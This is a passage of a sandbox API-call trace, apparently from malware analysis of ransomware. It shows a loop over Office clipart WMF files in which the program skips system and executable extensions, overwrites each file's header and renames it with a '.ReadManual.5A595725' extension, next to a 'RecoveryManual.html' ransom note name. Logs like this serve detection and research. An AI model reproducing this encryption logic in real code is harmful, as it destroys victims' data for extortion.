ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x834, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0187883.WMF", cAlternateFileName="")) returned 1 [0267.883] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0187883.WMF" | out: lpString1="J0187883.WMF") returned="J0187883.WMF" [0267.883] lstrcmpiW (lpString1="J0187883.WMF", lpString2="RecoveryManual.html") returned -1 [0267.884] StrStrIW (lpFirst="J0187883.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.884] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.884] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.884] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.884] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.884] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.884] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.884] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.884] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.884] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.884] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.884] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.884] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.884] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.884] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.884] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF" [0267.884] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF.ReadManual.5A595725" [0267.884] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF.ReadManual.5A595725") returned 87 [0267.884] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38855287295) returned 1 [0267.884] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf")) returned 0x20 [0267.884] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.928] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2100) returned 1 [0267.928] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x834, lpName=0x0) returned 0x184 [0267.928] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.935] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.938] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.028] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.028] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x834) returned 0x2f0000 [0268.028] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.028] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38869715208) returned 1 [0268.028] CloseHandle (hObject=0x184) returned 1 [0268.028] SetSecurityInfo () returned 0x57 [0268.029] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.029] CloseHandle (hObject=0x194) returned 1 [0268.029] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x15f4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0187893.WMF", cAlternateFileName="")) returned 1 [0268.029] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0187893.WMF" | out: lpString1="J0187893.WMF") returned="J0187893.WMF" [0268.029] lstrcmpiW (lpString1="J0187893.WMF", lpString2="RecoveryManual.html") returned -1 [0268.029] StrStrIW (lpFirst="J0187893.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.029] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.029] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.029] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.029] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.029] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.029] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.029] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.029] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.030] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.030] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.030] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.030] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.030] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.030] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.030] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF" [0268.030] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF.ReadManual.5A595725" [0268.030] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF.ReadManual.5A595725") returned 87 [0268.030] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38869882116) returned 1 [0268.030] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf")) returned 0x20 [0268.030] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.031] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5620) returned 1 [0268.031] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15f4, lpName=0x0) returned 0x184 [0268.031] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.032] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.032] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.036] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.036] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x15f4) returned 0x2f0000 [0268.036] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.036] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38870489679) returned 1 [0268.036] CloseHandle (hObject=0x184) returned 1 [0268.036] SetSecurityInfo () returned 0x57 [0268.036] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.036] CloseHandle (hObject=0x194) returned 1 [0268.036] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd90, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0187895.WMF", cAlternateFileName="")) returned 1 [0268.037] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0187895.WMF" | out: lpString1="J0187895.WMF") returned="J0187895.WMF" [0268.037] lstrcmpiW (lpString1="J0187895.WMF", lpString2="RecoveryManual.html") returned -1 [0268.037] StrStrIW (lpFirst="J0187895.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.037] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.037] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.037] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.037] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.037] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.037] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.037] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.037] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.037] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.037] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.037] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.037] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.037] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.037] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.037] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF" [0268.037] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF.ReadManual.5A595725" [0268.037] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF.ReadManual.5A595725") returned 87 [0268.037] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38870595753) returned 1 [0268.037] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf")) returned 0x20 [0268.037] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.038] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3472) returned 1 [0268.038] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd90, lpName=0x0) returned 0x184 [0268.038] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.038] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.038] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.040] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.041] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd90) returned 0x2f0000 [0268.041] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.041] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38870947329) returned 1 [0268.041] CloseHandle (hObject=0x184) returned 1 [0268.041] SetSecurityInfo () returned 0x57 [0268.041] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.041] CloseHandle (hObject=0x194) returned 1 [0268.041] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1388, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0187921.WMF", cAlternateFileName="")) returned 1 [0268.041] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0187921.WMF" | out: lpString1="J0187921.WMF") returned="J0187921.WMF" [0268.041] lstrcmpiW (lpString1="J0187921.WMF", lpString2="RecoveryManual.html") returned -1 [0268.041] StrStrIW (lpFirst="J0187921.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.041] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.041] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.041] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.041] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.041] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.041] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.041] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.041] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.041] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.041] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.041] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.042] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.042] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.042] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.042] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF" [0268.042] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF.ReadManual.5A595725" [0268.042] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF.ReadManual.5A595725") returned 87 [0268.042] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38871051769) returned 1 [0268.042] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf")) returned 0x20 [0268.044] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.044] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5000) returned 1 [0268.044] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1388, lpName=0x0) returned 0x184 [0268.044] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.045] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.045] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.046] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.047] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1388) returned 0x2f0000 [0268.047] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.047] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38871563042) returned 1 [0268.047] CloseHandle (hObject=0x184) returned 1 [0268.047] SetSecurityInfo () returned 0x57 [0268.047] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.047] CloseHandle (hObject=0x194) returned 1 [0268.047] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x29dc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0188511.WMF", cAlternateFileName="")) returned 1 [0268.047] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0188511.WMF" | out: lpString1="J0188511.WMF") returned="J0188511.WMF" [0268.047] lstrcmpiW (lpString1="J0188511.WMF", lpString2="RecoveryManual.html") returned -1 [0268.047] StrStrIW (lpFirst="J0188511.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.047] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.047] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.047] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.047] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.047] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.047] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.048] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.048] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.048] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.048] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.048] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.048] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.048] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.048] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.048] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF" [0268.048] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF.ReadManual.5A595725" [0268.048] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF.ReadManual.5A595725") returned 87 [0268.048] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38871662497) returned 1 [0268.048] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf")) returned 0x20 [0268.049] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.049] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=10716) returned 1 [0268.049] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x29dc, lpName=0x0) returned 0x184 [0268.049] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.055] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.055] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.057] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.058] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x29dc) returned 0x2f0000 [0268.058] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.058] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38872662434) returned 1 [0268.058] CloseHandle (hObject=0x184) returned 1 [0268.058] SetSecurityInfo () returned 0x57 [0268.058] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.058] CloseHandle (hObject=0x194) returned 1 [0268.058] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3004, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0188513.WMF", cAlternateFileName="")) returned 1 [0268.058] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0188513.WMF" | out: lpString1="J0188513.WMF") returned="J0188513.WMF" [0268.058] lstrcmpiW (lpString1="J0188513.WMF", lpString2="RecoveryManual.html") returned -1 [0268.058] StrStrIW (lpFirst="J0188513.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.058] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.058] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.058] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.058] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.058] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.058] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.058] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.059] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.059] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.059] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.059] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.059] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.059] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.059] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.059] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF" [0268.059] lstrcatW (in: 